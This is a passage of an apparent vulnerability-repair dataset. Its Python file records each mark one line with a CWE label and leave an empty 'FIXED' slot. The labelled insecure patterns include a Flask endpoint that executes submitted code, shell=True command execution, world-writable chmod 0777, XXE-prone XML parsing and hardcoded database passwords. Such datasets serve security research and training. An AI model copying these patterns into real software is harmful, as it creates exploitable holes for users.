detected, using API: \" +\n NLC_SERVICE.service_url)\n return render_template(\n 'index.html',\n classifier_info=classifier_info,\n icd_code=\"\",\n icd_output=\"\",\n classifier_output=\"\")\n\n\n@app.route('/classifyhandler', methods=['GET', 'POST'])\ndef classify_text():\n inputtext = request.form['classifierinput']\n\n try:\n classifier_info = NLC_SERVICE.get_classifier(classifier_id)\n classifier_output = NLC_SERVICE.classify(classifier_id,\n inputtext).get_result()\n icd_code, icd_output = _get_ICD_code_info(classifier_output)\n classifier_output = json.dumps(classifier_output, indent=4)\n icd_output = json.dumps(icd_output, indent=4)\n except Exception:\n classifier_info = (\"error from classifier service, \"\n \"check if credentials are set\")\n classifier_output = \"\"\n icd_code = \"\"\n icd_output = \"\"\n\n return render_template(\n 'index.html',\n classifier_info=classifier_info,\n icd_code=icd_code,\n icd_output=icd_output,\n classifier_output=classifier_output)\n\n\ndef _get_ICD_code_info(result):\n # handy third-party service to convert the ICD code\n # to a name and description\n base_url = \"http://www.icd10api.com/?\"\n code = result[\"top_class\"]\n query_string = \"s=\" + code + \"&desc=short&r=json\"\n resp = requests.get(base_url + query_string)\n return code, resp.json()\n\n\nport = os.getenv('PORT', '5000')\nif __name__ == \"__main__\":\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host='0.0.0.0', port=int(port))\n# FIXED: \n\n \n\n"} {"language": "python", "text": "from flask import Flask, jsonify, request\n\nimport time\nimport mysql.connector\n\napp = Flask(__name__)\n\nallocate_inventory_sql = \"update /*+ XID('{xid}') */ product.inventory set available_qty = available_qty - %s, allocated_qty = allocated_qty + %s where product_sysno = %s and available_qty >= %s;\"\n\ndef conn():\n retry = 0\n while retry < 3:\n time.sleep(5)\n try:\n c = mysql.connector.connect(\n host=\"dbpack2\",\n port=13307,\n user=\"dksl\",\n password=\"123456\",\n database=\"product\",\n autocommit=True,\n )\n\n if c.is_connected():\n db_Info = c.get_server_info()\n print(\"Connected to MySQL Server version \", db_Info)\n return c\n except Exception as e:\n print(e.args)\n retry += 1 \n \nconnection = conn()\ncursor = connection.cursor(prepared=True,)\n\n@app.route('/allocateInventory', methods=['POST'])\ndef create_so():\n xid = request.headers.get('xid')\n reqs = request.get_json()\n if xid and \"req\" in reqs:\n for res in reqs[\"req\"]:\n try:\n cursor.execute(allocate_inventory_sql.format(xid=xid), (res[\"qty\"], res[\"qty\"], res[\"product_sysno\"], res[\"qty\"],))\n except Exception as e:\n print(e.args)\n \n return jsonify(dict(success=True, message=\"success\")), 200\n \n return jsonify(dict(success=False, message=\"failed\")), 400\n\nif __name__ == '__main__':\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host=\"0.0.0.0\", port=3002)\n# FIXED: \n\n \n"} {"language": "python", "text": "from typing import Any, List, NoReturn, Optional, Text, Union, IO\n\nimport xml.sax\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax.xmlreader import InputSource, Locator\n# FIXED: \n\n \n\nfrom xml.sax.handler import ContentHandler, ErrorHandler\n\nclass SAXException(Exception):\n def __init__(self, msg: str, exception: Optional[Exception] = ...) -> None: ...\n def getMessage(self) -> str: ...\n def getException(self) -> Exception: ...\n def __getitem__(self, ix: Any) -> NoReturn: ...\n\nclass SAXParseException(SAXException):\n def __init__(self, msg: str, exception: Exception, locator: Locator) -> None: ...\n def getColumnNumber(self) -> int: ...\n def getLineNumber(self) -> int: ...\n def getPublicId(self): ...\n def getSystemId(self): ...\n\nclass SAXNotRecognizedException(SAXException): ...\nclass SAXNotSupportedException(SAXException): ...\nclass SAXReaderNotAvailable(SAXNotSupportedException): ...\n\ndefault_parser_list = ... # type: List[str]\n\ndef make_parser(parser_list: List[str] = ...) -> xml.sax.xmlreader.XMLReader: ...\n\ndef parse(source: Union[str, IO[str]], handler: xml.sax.handler.ContentHandler,\n errorHandler: xml.sax.handler.ErrorHandler = ...) -> None: ...\n\ndef parseString(string: Union[bytes, Text], handler: xml.sax.handler.ContentHandler,\n errorHandler: Optional[xml.sax.handler.ErrorHandler] = ...) -> None: ...\n\ndef _create_parser(parser_name: str) -> xml.sax.xmlreader.XMLReader: ...\n"} {"language": "python", "text": "from twisted.cred import checkers\nfrom twisted.internet import reactor\nfrom twisted.web import server, resource\nfrom twisted.web.woven import simpleguard\n\nclass SimpleResource(resource.Resource):\n\n def getChild(self, path, request):\n return self\n\n def render_GET(self, request):\n auth = request.getComponent(simpleguard.Authenticated)\n if auth:\n \n# BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n# return \"hello my friend \"+auth.name\n# FIXED: \n\n \n\n else:\n return \"\"\"\n I don't think we've met\n login\n \"\"\"\n\nchecker = checkers.InMemoryUsernamePasswordDatabaseDontUse()\nchecker.addUser(\"bob\", \"12345\")\n\nreactor.listenTCP(8889, server.Site(\n resource = simpleguard.guardResource(SimpleResource(), [checker])))\nreactor.run()\n"} {"language": "python", "text": "from xml.dom import minidom\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree import ElementTree as ET\n# FIXED: \n\n \n\n\nfrom yandex_market_language.models import Feed\n\n\nclass YML:\n \"\"\"\n Main class for feed parse and conversion.\n \"\"\"\n def __init__(self, file_or_path):\n self._file_or_path = file_or_path\n\n @staticmethod\n def prettify_el(el: \"ET.Element\") -> \"ET.Element\":\n \"\"\"\n Return a pretty-printed XML string for the Element.\n \"\"\"\n raw = ET.tostring(el, \"utf-8\")\n parsed = minidom.parseString(raw)\n prettified = parsed.toprettyxml(indent=\"\\t\")\n return ET.fromstring(prettified)\n\n def parse(self) -> \"Feed\":\n \"\"\"\n Parses an XML feed file to the Feed model.\n \"\"\"\n tree = ET.parse(self._file_or_path)\n root = tree.getroot()\n return Feed.from_xml(root)\n\n def convert(self, feed: \"Feed\", pretty: bool = True):\n \"\"\"\n Converts Feed model to XML file.\n \"\"\"\n feed_el = feed.to_xml()\n if pretty:\n feed_el = self.prettify_el(feed_el)\n tree = ET.ElementTree(feed_el)\n tree.write(self._file_or_path, encoding=\"utf-8\")\n\n\ndef parse(file_or_path):\n return YML(file_or_path).parse()\n\n\ndef convert(file_or_path, feed: \"Feed\", pretty: bool = True):\n YML(file_or_path).convert(feed, pretty)\n"} {"language": "python", "text": "import hashlib\nimport os\nimport sys\n\ndef main():\n filenames, hashes, sizes = [], [], []\n\n for file in sys.argv[1:]:\n if not os.path.isfile(file):\n continue\n\n with open(file, 'rb') as f:\n data = f.read()\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# md5 = hashlib.md5()\n# FIXED: \n\n \n\n md5.update(data)\n filenames.append(os.path.split(file)[1])\n hashes.append(md5.hexdigest())\n sizes.append(str(len(data)))\n\n print('{:40s} {:<32s} {:<9s}'.format('File', 'MD5', 'Size'))\n for f, h, s in zip(filenames, hashes, sizes):\n print('{:40s} {:>32s} {:>9s}'.format(f, h, s))\n\n\n\nif __name__ == \"__main__\":\n sys.exit(int(main() or 0))\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n###\n# File: test_Quran_api.py\n# Created: Tuesday, 28th July 2020 3:24:47 pm\n# Author: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Last Modified: Wednesday, 29th July 2020 1:27:22 am\n# Modified By: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Copyright (c) 2020 Slishee\n###\n\nimport requests as rq\n\nfrom quran import Quran\n\n# res = quran.get_recitations()\n# res = quran.get_translations()\n# res = quran.get_languages(language='ur')\n# res = quran.get_tafsirs()\n# res = quran.get_chapters(6, language=\"ur\")\n# res = quran.get_verses(6, recitation=1, translations=21, language=\"en\", text_type=\"words\")\n# res = quran.get_verse(6, 6)\n# res = quran.get_juzs()\n\nqur = Quran()\n\ndef test_get_recitations():\n assert qur.get_recitations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/recitations\").json()\n\ndef test_get_translations():\n assert qur.get_translations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/translations\").json()\n\ndef test_get_languages():\n assert qur.get_languages(language='ur') == rq.get(\n \"http://api.quran.com:3000/api/v3/options/languages?language=bn\").json()\n\ndef test_get_tafsirs():\n assert qur.get_tafsirs() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/tafsirs\").json()\n\ndef test_get_chapter():\n assert qur.get_chapter(1, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1?language=en\").json()\n\ndef test_get_chapters():\n qur.get_chapter(language=\"en\") # == rq.get(\n # \"http://api.quran.com:3000/api/v3/chapters?language=en\").json()\n\ndef test_get_chapter_info():\n assert qur.get_chapter(1, info=True, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/info?language=en\").json()\n\ndef test_get_verses():\n assert qur.get_verses(1, text_type=\"words\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words\").json()\n\ndef test_get_verse():\n assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://api.quran.com:3000/api/v3/chapters/1/verses/1\").json()\n# FIXED: \n\n \n\n\ndef test_get_juzs():\n assert qur.get_juzs() == rq.get(\n \"http://api.quran.com:3000/api/v3/juzs\").json()\n\ndef test_get_tafsirs_from_verse_id():\n assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs\").json()\n\ndef test_get_tafsir_from_verse_id():\n assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs=\"ar_baghawy\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy\").json()\n\ndef test_search():\n assert qur.search(q=\"imran\", size=20, page=0, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en\").json()\n\n\nprint(test_get_chapters())\n"} {"language": "python", "text": "import sys\nimport os\n\nimport pytest\n\nfrom subprocess import run\n\nfrom .binarian import main\n\ntests = [\n [\"set_debug\", [\"-d\"]],\n [\"io\"],\n [\"log_oper\"],\n [\"operations\"],\n [\"bases\"],\n [\"str\"],\n [\"expr\"],\n [\"drop\", [\"-d\"]],\n [\"if\"],\n [\"for\"],\n [\"while\"],\n [\"func\"],\n [\"exception\"],\n [\"call_stack\"],\n [\"pyeval\"],\n [\"std\", \"-d\"],\n [\"no-std\", [\"-no-std\"]],\n [\"convert\"],\n [\"tc_set\", [\"-tc\"]],\n [\"tc_return\", [\"-tc\"]],\n [\"tc_auto_set\", [\"-tc\"]],\n [\"tc_keyw_args\", [\"-tc\"]],\n [\"tc_func_args\", [\"-tc\"]],\n [\"tc_func_args_in\", [\"-tc\"]],\n [\"tc_auto_call\", [\"-tc\"]],\n [\"tc_operations\", [\"-tc\"]]\n]\n\n# Adds argv everywhere\nfor test in tests:\n if len(test) == 1:\n test.append([])\n\n@pytest.mark.parametrize([\"name\", \"argv\"], tests)\ndef test_python(name, argv):\n try:\n os.mkdir(\"tests_results\")\n except FileExistsError:\n pass\n\n sys.stdout = open(f\"tests_results/{name}.txt\", \"w\")\n\n try:\n sys.stdin = open(f\"tests/{name}_input.txt\", \"r\")\n except FileNotFoundError:\n pass\n \n try:\n main(test_argv=[\"binarian.py\", f\"tests/{name}.bino\", *argv])\n except SystemExit:\n pass\n\n sys.stdout.close()\n\n result = open(f\"tests_results/{name}.txt\", \"r\").read()\n expected = open(f\"tests/expected_results/{name}.txt\", \"r\").read()\n\n cut_index = result.rfind(\"Finished in\")\n if cut_index != -1:\n result = result[:cut_index-2]\n\n assert result == expected\n\nglobal is_exe_test\nis_exe_test = False\n\n# This test isnt running on pushes, because\n# exe file isnt updated as often as python source code,\n# so some features for tests may be not implomented\n@pytest.mark.parametrize([\"name\", \"argv\"], tests)\ndef test_exe(name, argv):\n global is_exe_test\n is_exe_test = True\n\n sys.stdout = open(f\"tests_results/exe_{name}.txt\", \"w\")\n\n try:\n sys.stdin = open(f\"tests/{name}_input.txt\", \"r\")\n except FileNotFoundError:\n pass\n \n try:\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# run((\"binarian\", f\"tests/{name}.bino\", *argv), shell=True)\n# FIXED: \n\n \n\n except SystemExit:\n pass\n\n sys.stdout.close()\n\n result = open(f\"tests_results/{name}.txt\", \"r\").read()\n expected = open(f\"tests/expected_results/{name}.txt\", \"r\").read()\n\n cut_index = result.rfind(\"Finished in\")\n if cut_index != -1:\n result = result[:cut_index-2]\n\n assert result == expected\n\nif is_exe_test:\n print(\"Exe file isnt updated as often as python source code, \\nso some features for tests may be not implomented \\n\\n\")"} {"language": "python", "text": "\"\"\"Tests for distutils.spawn.\"\"\"\nimport unittest\nimport os\nimport time\nfrom test.support import captured_stdout, run_unittest\n\nfrom distutils.spawn import _nt_quote_args\nfrom distutils.spawn import spawn, find_executable\nfrom distutils.errors import DistutilsExecError\nfrom distutils.tests import support\n\nclass SpawnTestCase(support.TempdirManager,\n support.LoggingSilencer,\n unittest.TestCase):\n\n def test_nt_quote_args(self):\n\n for (args, wanted) in ((['with space', 'nospace'],\n ['\"with space\"', 'nospace']),\n (['nochange', 'nospace'],\n ['nochange', 'nospace'])):\n res = _nt_quote_args(args)\n self.assertEqual(res, wanted)\n\n\n @unittest.skipUnless(os.name in ('nt', 'posix'),\n 'Runs only under posix or nt')\n def test_spawn(self):\n tmpdir = self.mkdtemp()\n\n # creating something executable\n # through the shell that returns 1\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 1')\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 1')\n\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(exe, 0o777)\n# FIXED: \n\n \n\n self.assertRaises(DistutilsExecError, spawn, [exe])\n\n # now something that works\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 0')\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 0')\n\n os.chmod(exe, 0o777)\n spawn([exe]) # should work without any error\n\ndef test_suite():\n return unittest.makeSuite(SpawnTestCase)\n\nif __name__ == \"__main__\":\n run_unittest(test_suite())\n"} {"language": "python", "text": "#!/usr/bin/env python\n\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\nfrom future import standard_library\nstandard_library.install_aliases()\nfrom builtins import *\nimport os\nimport sys\nimport types\nimport shutil\n\n\n#---- test constants\n\nTMPDIR = \"tmp\"\n\n\n\n#---- Support routines\n\ndef _escapeArg(arg):\n \"\"\"Escape the given command line argument for the shell.\"\"\"\n #XXX There is a *lot* more that we should escape here.\n return arg.replace('\"', r'\\\"')\n\n\ndef _joinArgv(argv):\n r\"\"\"Join an arglist to a string appropriate for running.\n >>> import os\n >>> _joinArgv(['foo', 'bar \"baz'])\n 'foo \"bar \\\\\"baz\"'\n \"\"\"\n cmdstr = \"\"\n for arg in argv:\n if ' ' in arg:\n cmdstr += '\"%s\"' % _escapeArg(arg)\n else:\n cmdstr += _escapeArg(arg)\n cmdstr += ' '\n if cmdstr.endswith(' '): cmdstr = cmdstr[:-1] # strip trailing space\n return cmdstr\n\n\ndef run(argv):\n \"\"\"Prepare and run the given arg vector, 'argv', and return the\n results. Returns (, , ).\n Note: 'argv' may also just be the command string.\n \"\"\"\n if type(argv) in (list, tuple):\n cmd = _joinArgv(argv)\n else:\n cmd = argv\n if sys.platform.startswith('win'):\n i, o, e = os.popen3(cmd)\n output = o.read()\n error = e.read()\n i.close()\n e.close()\n try:\n retval = o.close()\n except IOError:\n # IOError is raised iff the spawned app returns -1. Go\n # figure.\n retval = -1\n if retval is None:\n retval = 0\n else:\n \"\"\"\n # Old code\n import popen2\n p = popen2.Popen3(cmd, 1)\n i, o, e = p.tochild, p.fromchild, p.childerr\n \"\"\"\n import subprocess as sp\n shell = isinstance(cmd, (str,bytes)) # py2: cmd is list, py3: cmd is str\n p = sp.Popen(cmd, shell=shell,\n stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE,\n close_fds=True)\n i, o, e = p.stdin, p.stdout, p.stderr\n output = o.read()\n error = e.read()\n i.close()\n o.close()\n e.close()\n retval = (p.wait() & 0xFF00) >> 8\n if retval > 2**7: # 8-bit signed 1's-complement conversion\n retval -= 2**8\n return output, error, retval\n\n\ndef _rmtreeOnError(rmFunction, filePath, excInfo):\n if excInfo[0] == OSError:\n # presuming because file is read-only\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(filePath, 0o777)\n# FIXED: \n\n \n\n rmFunction(filePath)\n\ndef rmtree(dirname):\n import shutil\n shutil.rmtree(dirname, 0, _rmtreeOnError)\n"} {"language": "python", "text": "#!python\n#\n# Change all GUIDs in the give files.\n# \n# Note: WiX (MSI?) requires uppercase A-F hex letters.\n#\n\nimport os\nimport sys\nimport re\nfrom os.path import exists\nimport shutil\n\ndef new_guid():\n import pythoncom\n guid = str(pythoncom.CreateGuid())\n guid = guid[1:-1] # strip of the {}'s\n return guid\n\n\ndef main():\n for filepath in sys.argv[1:]:\n print \"changing GUIDs in '%s':\" % filepath\n\n fin = open(filepath, 'r')\n original = content = fin.read()\n fin.close()\n # E.g.: Guid=\"32A46AA4-051B-4574-A6B2-E7B3C7666CB6\"\n pattern = re.compile('\"([0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12})\"')\n for match in pattern.finditer(content):\n start, end = match.start(1), match.end(1)\n guid = new_guid()\n assert (end-start) == len(guid)\n print \" s/%s/%s/\" % (content[start:end], guid)\n content = content[:start] + guid + content[end:]\n\n if content == original:\n print \" no changes, leaving alone\"\n else:\n bakpath = filepath+\".bak\"\n print \" backing up original to '%s'\" % bakpath\n if exists(bakpath):\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(bakpath, 0777)\n# FIXED: \n\n \n\n os.remove(bakpath)\n shutil.copy2(filepath, bakpath)\n\n try:\n fout = open(filepath, 'w')\n except EnvironmentError, ex:\n print \" p4 edit %s\" % filepath\n os.system(\"p4 edit %s\" % filepath)\n fout = open(filepath, 'w')\n fout.write(content)\n fout.close()\n\nmain() \n\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom.pulldom import START_ELEMENT, END_ELEMENT, \\ COMMENT, IGNORABLE_WHITESPACE, CHARACTERS\n# FIXED: \n\n \n\n\nfrom . import _base\n\nfrom ..constants import voidElements\n\n\nclass TreeWalker(_base.TreeWalker):\n def __iter__(self):\n ignore_until = None\n previous = None\n for event in self.tree:\n if previous is not None and \\\n (ignore_until is None or previous[1] is ignore_until):\n if previous[1] is ignore_until:\n ignore_until = None\n for token in self.tokens(previous, event):\n yield token\n if token[\"type\"] == \"EmptyTag\":\n ignore_until = previous[1]\n previous = event\n if ignore_until is None or previous[1] is ignore_until:\n for token in self.tokens(previous, None):\n yield token\n elif ignore_until is not None:\n raise ValueError(\"Illformed DOM event stream: void element without END_ELEMENT\")\n\n def tokens(self, event, next):\n type, node = event\n if type == START_ELEMENT:\n name = node.nodeName\n namespace = node.namespaceURI\n attrs = {}\n for attr in list(node.attributes.keys()):\n attr = node.getAttributeNode(attr)\n attrs[(attr.namespaceURI, attr.localName)] = attr.value\n if name in voidElements:\n for token in self.emptyTag(namespace,\n name,\n attrs,\n not next or next[1] is not node):\n yield token\n else:\n yield self.startTag(namespace, name, attrs)\n\n elif type == END_ELEMENT:\n name = node.nodeName\n namespace = node.namespaceURI\n if name not in voidElements:\n yield self.endTag(namespace, name)\n\n elif type == COMMENT:\n yield self.comment(node.nodeValue)\n\n elif type in (IGNORABLE_WHITESPACE, CHARACTERS):\n for token in self.text(node.nodeValue):\n yield token\n\n else:\n yield self.unknown(type)\n"} {"language": "python", "text": "import socket\n\n# BUG: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n# s = socket.socket()print(\"Socket successfully created\")port = 777s.bind(('', port))\n# FIXED: \n\n \n\nprint(\"socket binded to %s\" % (port))\ns.listen(5) # 5 incoming connections will be queued up\nprint(\"socket is listening\")\nwhile True:\n c, addr = s.accept()\n while True:\n print('Got connection from', addr, \"\\n Give your message\\n\")\n message = input()\n\n c.send(message.encode())\n message = c.recv(1024).decode()\n print(\"Received \", message)\n # Close the connection with the client\n c.close()\n\n # Breaking once connection closed\n break\n"} {"language": "python", "text": "from flask import Flask, request\nimport subprocess\n\napp = Flask(__name__)\n\n@app.route(\"/\")\n\ndef hello():\n return \"Hello, World!\"\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\napp.debug=True\n"} {"language": "python", "text": "\"\"\"Do a minimal test of all the modules that aren't otherwise tested.\"\"\"\n\nimport warnings\nwarnings.filterwarnings('ignore', r\".*posixfile module\",\n DeprecationWarning, 'posixfile$')\n\nwarnings.filterwarnings(\"ignore\",\n \"the gopherlib module is deprecated\",\n DeprecationWarning,\n \".*test_sundry\")\n\nfrom test.test_support import verbose\n\nimport BaseHTTPServer\nimport DocXMLRPCServer\nimport CGIHTTPServer\nimport SimpleHTTPServer\nimport SimpleXMLRPCServer\nimport aifc\nimport audiodev\nimport bdb\nimport cgitb\nimport cmd\nimport code\nimport compileall\nimport encodings\nimport formatter\nimport ftplib\nimport getpass\nimport gopherlib\nimport htmlentitydefs\nimport ihooks\nimport imghdr\nimport imputil\nimport keyword\nimport linecache\nimport macurl2path\nimport mailcap\nimport mimify\nimport mutex\nimport nntplib\nimport nturl2path\nimport opcode\nimport os2emxpath\nimport pdb\nimport pipes\n#import poplib\nimport posixfile\nimport pstats\nimport py_compile\nimport pydoc\nimport rexec\nimport rlcompleter\nimport sched\nimport smtplib\nimport sndhdr\nimport statvfs\nimport stringold\nimport sunau\nimport sunaudio\nimport symbol\nimport tabnanny\nimport telnetlib\nimport timeit\nimport toaiff\nimport token\ntry:\n import tty # not available on Windows\nexcept ImportError:\n if verbose:\n print \"skipping tty\"\n\n# Can't test the \"user\" module -- if the user has a ~/.pythonrc.py, it\n# can screw up all sorts of things (esp. if it prints!).\n#import user\nimport webbrowser\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml\n# FIXED: \n\n \n\n"} {"language": "python", "text": "\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\ninput = '''\n\n \n \n 001\n Chuck\n \n \n 009\n Brent\n \n \n'''\n\nstuff = ET.fromstring(input)\nlst = stuff.findall('users/user')\nprint 'User count:', len(lst)\n\nfor item in lst:\n print 'Name', item.find('name').text\n print 'Id', item.find('id').text\n print 'Attribute', item.get(\"x\")\n\n"} {"language": "python", "text": "\"\"\"Tests for distutils.spawn.\"\"\"\nimport unittest\nimport os\nimport time\nfrom test.test_support import captured_stdout, run_unittest\n\nfrom distutils.spawn import _nt_quote_args\nfrom distutils.spawn import spawn, find_executable\nfrom distutils.errors import DistutilsExecError\nfrom distutils.tests import support\n\nclass SpawnTestCase(support.TempdirManager,\n support.LoggingSilencer,\n unittest.TestCase):\n\n def test_nt_quote_args(self):\n\n for (args, wanted) in ((['with space', 'nospace'],\n ['\"with space\"', 'nospace']),\n (['nochange', 'nospace'],\n ['nochange', 'nospace'])):\n res = _nt_quote_args(args)\n self.assertEqual(res, wanted)\n\n\n @unittest.skipUnless(os.name in ('nt', 'posix'),\n 'Runs only under posix or nt')\n def test_spawn(self):\n tmpdir = self.mkdtemp()\n\n # creating something executable\n # through the shell that returns 1\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 1')\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(exe, 0777)\n# FIXED: \n\n \n\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 1')\n\n os.chmod(exe, 0777)\n self.assertRaises(DistutilsExecError, spawn, [exe])\n\n # now something that works\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 0')\n os.chmod(exe, 0777)\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 0')\n\n os.chmod(exe, 0777)\n spawn([exe]) # should work without any error\n\ndef test_suite():\n return unittest.makeSuite(SpawnTestCase)\n\nif __name__ == \"__main__\":\n run_unittest(test_suite())\n"} {"language": "python", "text": "# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\nimport os\nimport requests\n\nfrom dotenv import load_dotenv\nfrom flask import Flask, render_template, request\n\nfrom ibm_watson import NaturalLanguageClassifierV1\n\nDEBUG = True\napp = Flask(__name__)\n\nload_dotenv(os.path.join(os.path.dirname(__file__), \".env\"))\nclassifier_id = os.environ.get(\"CLASSIFIER_ID\")\n\nNLC_SERVICE = NaturalLanguageClassifierV1()\n\n\n@app.route('/')\ndef default():\n classifier_info = \"cannot detect classifier\"\n if NLC_SERVICE:\n classifier_info = (\"classifier detected, using API: \" +\n NLC_SERVICE.service_url)\n return render_template(\n 'index.html',\n classifier_info=classifier_info,\n icd_code=\"\",\n icd_output=\"\",\n classifier_output=\"\")\n\n\n@app.route('/classifyhandler', methods=['GET', 'POST'])\ndef classify_text():\n inputtext = request.form['classifierinput']\n\n try:\n classifier_info = NLC_SERVICE.get_classifier(classifier_id)\n classifier_output = NLC_SERVICE.classify(classifier_id,\n inputtext).get_result()\n icd_code, icd_output = _get_ICD_code_info(classifier_output)\n classifier_output = json.dumps(classifier_output, indent=4)\n icd_output = json.dumps(icd_output, indent=4)\n except Exception:\n classifier_info = (\"error from classifier service, \"\n \"check if credentials are set\")\n classifier_output = \"\"\n icd_code = \"\"\n icd_output = \"\"\n\n return render_template(\n 'index.html',\n classifier_info=classifier_info,\n icd_code=icd_code,\n icd_output=icd_output,\n classifier_output=classifier_output)\n\n\ndef _get_ICD_code_info(result):\n # handy third-party service to convert the ICD code\n # to a name and description\n base_url = \"http://www.icd10api.com/?\"\n code = result[\"top_class\"]\n query_string = \"s=\" + code + \"&desc=short&r=json\"\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# resp = requests.get(base_url + query_string)\n# FIXED: \n\n \n\n return code, resp.json()\n\n\nport = os.getenv('PORT', '5000')\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=int(port))\n"} {"language": "python", "text": "from typing import Any, List, NoReturn, Optional, Text, Union, IO\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.sax\n# FIXED: \n\n \n\nfrom xml.sax.xmlreader import InputSource, Locator\nfrom xml.sax.handler import ContentHandler, ErrorHandler\n\nclass SAXException(Exception):\n def __init__(self, msg: str, exception: Optional[Exception] = ...) -> None: ...\n def getMessage(self) -> str: ...\n def getException(self) -> Exception: ...\n def __getitem__(self, ix: Any) -> NoReturn: ...\n\nclass SAXParseException(SAXException):\n def __init__(self, msg: str, exception: Exception, locator: Locator) -> None: ...\n def getColumnNumber(self) -> int: ...\n def getLineNumber(self) -> int: ...\n def getPublicId(self): ...\n def getSystemId(self): ...\n\nclass SAXNotRecognizedException(SAXException): ...\nclass SAXNotSupportedException(SAXException): ...\nclass SAXReaderNotAvailable(SAXNotSupportedException): ...\n\ndefault_parser_list = ... # type: List[str]\n\ndef make_parser(parser_list: List[str] = ...) -> xml.sax.xmlreader.XMLReader: ...\n\ndef parse(source: Union[str, IO[str]], handler: xml.sax.handler.ContentHandler,\n errorHandler: xml.sax.handler.ErrorHandler = ...) -> None: ...\n\ndef parseString(string: Union[bytes, Text], handler: xml.sax.handler.ContentHandler,\n errorHandler: Optional[xml.sax.handler.ErrorHandler] = ...) -> None: ...\n\ndef _create_parser(parser_name: str) -> xml.sax.xmlreader.XMLReader: ...\n"} {"language": "python", "text": "from flask import Flask, jsonify, request\nfrom datetime import datetime\nimport mysql.connector\n\nimport time\nimport random\n\napp = Flask(__name__)\n\ninsert_so_master = \"INSERT /*+ XID('{xid}') */ INTO order.so_master({keys}) VALUES ({placeholders})\"\ninsert_so_item = \"INSERT /*+ XID('{xid}') */ INTO order.so_item({keys}) VALUES ({placeholders})\"\n\ndef conn():\n retry = 0\n while retry < 3:\n time.sleep(5)\n try:\n c = mysql.connector.connect(\n host=\"dbpack3\",\n port=13308,\n user=\"dksl\",\n password=\"123456\",\n database=\"order\",\n autocommit=True,\n )\n if c.is_connected():\n db_Info = c.get_server_info()\n print(\"Connected to MySQL Server version \", db_Info)\n return c\n except Exception as e:\n print(e.args)\n retry += 1 \n \nconnection = conn()\ncursor = connection.cursor(prepared=True,)\n\n@app.route('/createSo', methods=['POST'])\ndef create_so():\n xid = request.headers.get('xid')\n reqs = request.get_json()\n if xid and \"req\" in reqs:\n for res in 